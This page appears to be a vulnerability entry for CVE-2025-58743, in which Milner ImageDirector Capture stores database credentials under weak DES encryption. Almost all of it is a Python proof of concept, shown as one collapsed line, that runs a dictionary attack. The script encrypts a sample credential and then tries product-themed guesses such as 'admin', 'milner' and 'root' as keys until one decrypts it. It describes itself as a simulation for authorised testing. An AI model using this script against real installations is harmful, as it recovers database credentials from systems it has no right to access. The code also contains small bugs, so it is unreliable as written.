CVE-2025-58743 Milner ImageDirector Capture DES加密算法漏洞导致数据库凭证泄露

#!/usr/bin/env python3 """ CVE-2025-58743 PoC - DES Encryption Brute Force Attack Simulation This PoC demonstrates the vulnerability in Milner ImageDirector Capture's use of DES encryption for database credentials. WARNING: For educational and authorized security testing only. """ import hashlib from Crypto.Cipher import DES import binascii def attempt_des_decrypt(encrypted_data, password_candidates): """ Attempt to decrypt data using DES with multiple password candidates. In real attack, this would use GPU acceleration for faster cracking. """ results = [] for password in password_candidates: try: # Pad password to 8 bytes (DES key size) key = password.encode('utf-8')[:8].ljust(8, b'\x00') cipher = DES.new(key, DES.MODE_ECB) decrypted = cipher.decrypt(encrypted_data) # Check for valid padding or readable content if b'\x00' in decrypted or decrypted.isprintable(): results.append({ 'password': password, 'decrypted': decrypted.decode('utf-8', errors='ignore') }) except Exception as e: continue return results def simulate_encryption_bruteforce(): """ Simulate the encryption brute force attack scenario. """ print("=" * 60) print("CVE-2025-58743 - DES Encryption Vulnerability PoC") print("Target: Milner ImageDirector Capture") print("=" * 60) # Example encrypted credential (simulated) sample_password = "admin123" key = sample_password.encode('utf-8')[:8].ljust(8, b'\x00') cipher = DES.new(key, DES.MODE_ECB) encrypted = cipher.encrypt(b'db_password\x00\x00\x00') print(f"[+] Encrypted credential: {binascii.hexlify(encrypted)}") print(f"[+] DES Key length: 56 bits (vulnerable to brute force)") # Common password candidates for brute force candidates = ['admin', 'admin123', 'password', 'database', 'milner', 'capture', 'imagedirector', 'root'] print("\n[*] Starting brute force attack simulation...") results = attempt_des_decrypt(encrypted, candidates) if results: print("[!] Potential credentials found:") for result in results: print(f" Password: {result['password']}") print(f" Decrypted: {result['decrypted']}") else: print("[-] No credentials found with common passwords") print("\n[!] Note: Real attacks use GPU acceleration") print("[!] DES 56-bit key can be cracked in hours with modern GPUs") print("=" * 60) if __name__ == "__main__": simulate_encryption_bruteforce()